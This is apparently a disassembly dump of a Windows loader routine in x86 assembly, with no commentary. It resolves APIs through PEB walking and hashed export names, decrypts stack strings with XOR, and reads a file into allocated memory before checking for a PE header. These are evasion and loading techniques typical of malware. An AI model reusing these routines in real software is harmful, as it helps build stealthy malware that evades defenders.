mov dword [ebp - 0xbc], ecx
mov ecx, dword [ebp - 0x94]
movaps xmm0, xmmword [ebp - 0xd0]
xorps xmm0, xmmword [ebp - 0x340]
mov dword [ebp - 0xb8], eax
mov eax, dword fs:[0x30]
movaps xmmword [ebp - 0x340], xmm0
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0xb4], ecx
xorps xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x330], xmm1
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xac], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x9c], ecx
cmp ecx, esi
je 0x4344ea
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4344ea
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa4], ecx
dec edi
mov esi, 0x297a749f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4344dd
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4344c0
cmp esi, 0x97e90155
je 0x4344ee
mov ecx, dword [ebp - 0xa4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4344a3
mov eax, dword [eax]
jmp 0x434470
mov esi, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xac]
mov eax, dword [esi + 0x24]
add eax, edx
movzx ecx, word [eax + edi*2]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x340]
add eax, edx
push ecx
call eax
lea ecx, [ebx + 8]
call fcn.00402a40
push 0
push 0
push 3
push 0
push 3
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x9c], edi
cmp edi, 0xffffffff
jne 0x434944
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0x7697358f
mov dword [ebp - 0x94], 0x15e755f5
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x360], ecx
mov dword [ebp - 0x35c], edx
mov dword [ebp - 0x98], 0xfb9ecbf1
mov dword [ebp - 0x94], 0x9573cd3f
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x358], ecx
mov dword [ebp - 0x98], 0x414fbff
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x360]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x360]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x360], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x350]
push eax
movaps xmmword [ebp - 0x350], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x43476a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43476a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x7d9f69c7
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43475d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x434740
cmp esi, 0xbfeec79b
je 0x43476e
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x434725
mov eax, dword [eax]
jmp 0x4346f2
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
push 0xffffffffffffffff
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0xfc], eax
mov ax, word [0x4b0820]
mov word [ebp - 0xf8], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x43483a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43483a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x68fb5161
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43482d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x434810
cmp esi, 0x453f6440
je 0x43483e
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4347f3
mov eax, dword [eax]
jmp 0x4347c0
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xfc], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x434870
lea eax, [ebp - 0xfc]
push eax
call esi
mov eax, dword fs:[0x30]
add esp, 4
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x434940
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x434940
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x8d4706b3
mov cl, byte [edx]
inc edx
test cl, cl
je 0x434933
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x434912
cmp esi, 0x99f5a4cb
je 0x434d7b
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4348f7
mov eax, dword [eax]
jmp 0x4348c4
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd8], eax
test eax, eax
jne 0x434da8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0x7697358f
mov dword [ebp - 0x94], 0x15e755f5
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x380], ecx
mov dword [ebp - 0x37c], edx
mov dword [ebp - 0x98], 0xfb9ecbf1
mov dword [ebp - 0x94], 0x9573cd3f
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x374], eax
mov dword [ebp - 0x378], ecx
mov dword [ebp - 0x98], 0x414fbff
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x380]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x380]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x380], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x370]
push eax
movaps xmmword [ebp - 0x370], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xac], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x434b9c
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x434b9c
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0xf0644e23
mov cl, byte [edx]
inc edx
test cl, cl
je 0x434b8f
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x434b72
cmp esi, 0xb9179077
je 0x434ba0
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x434b53
mov eax, dword [eax]
jmp 0x434b20
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xac]
push dword [ebp - 0x9c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x104], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x100], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x434c70
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x434c70
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x16a5c96a
mov cl, byte [edx]
inc edx
test cl, cl
je 0x434c63
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x434c42
cmp esi, 0xfbe42a53
je 0x434c77
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x434c23
mov eax, dword [eax]
jmp 0x434bf0
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x104], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x434ca0
lea eax, [ebp - 0x104]
push eax
call esi
mov eax, dword fs:[0x30]
add esp, 4
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x434d74
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x434d74
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x9b0e67f8
mov cl, byte [edx]
inc edx
test cl, cl
je 0x434d67
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x434d46
cmp esi, 0xd0568c24
je 0x434d7b
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x434d27
mov eax, dword [eax]
jmp 0x434cf4
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
push 0
push dword [ebp - 0x78]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x43a288
push 0
lea ecx, [ebp - 0x20]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x43529b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0x7697358f
mov dword [ebp - 0x94], 0x15e755f5
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x3a0], ecx
mov dword [ebp - 0x39c], edx
mov dword [ebp - 0x98], 0xfb9ecbf1
mov dword [ebp - 0x94], 0x9573cd3f
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x394], eax
mov dword [ebp - 0x398], ecx
mov dword [ebp - 0x98], 0x414fbff
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x3a0]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x3a0], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x390]
push eax
movaps xmmword [ebp - 0x390], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xac], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x434ff0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x434ff0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x3a4d85d2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x434fe3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x434fc2
cmp esi, 0x57392997
je 0x434ff7
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x434fa3
mov eax, dword [eax]
jmp 0x434f70
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xac]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xac], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x4350b3
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4350b3
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x3af3bd53
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4350a6
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435085
cmp esi, 0x9a725c27
je 0x4350ba
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x435066
mov eax, dword [eax]
jmp 0x435033
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xac]
push dword [ebp - 0x9c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x10c], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x108], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x435190
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435190
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x34ceaf5d
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435183
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435162
cmp esi, 0xe2a9ff4
je 0x435197
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x435143
mov eax, dword [eax]
jmp 0x435110
mov esi, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x10c], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x4351c0
lea eax, [ebp - 0x10c]
push eax
call esi
mov eax, dword fs:[0x30]
add esp, 4
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x9c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x435294
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435294
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa8], ecx
dec edi
mov esi, 0x3f3c9e0b
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435287
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435266
cmp esi, 0xf08b3ee3
je 0x434d7b
mov ecx, dword [ebp - 0xa8]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x435247
mov eax, dword [eax]
jmp 0x435214
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xac], ecx
cmp ecx, esi
je 0x435330
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x435330
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xa4], ecx
dec edi
mov esi, 0x453f85e6
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435323
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435302
cmp esi, 0x8e4103bc
je 0x435337
mov ecx, dword [ebp - 0xa4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4352e3
mov eax, dword [eax]
jmp 0x4352b0
mov eax, dword [ebp - 0xac]
mov edx, dword [ebp - 0xb4]
push dword [ebp - 0x9c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword [ebp - 0xd8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4357b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x3c0], ecx
mov dword [ebp - 0x3bc], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 0x3b8], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x3c0]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x3c0]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x3c0], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x3b0]
push eax
movaps xmmword [ebp - 0x3b0], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x4355a0
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4355a0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0xf61de0c4
mov cl, byte [edx]
inc edx
test cl, cl
je 0x435593
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x435572
cmp esi, 0xe880ef70
je 0x4355a7
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x435553
mov eax, dword [eax]
jmp 0x435520
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
push 0
push dword [ebp - 0x78]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
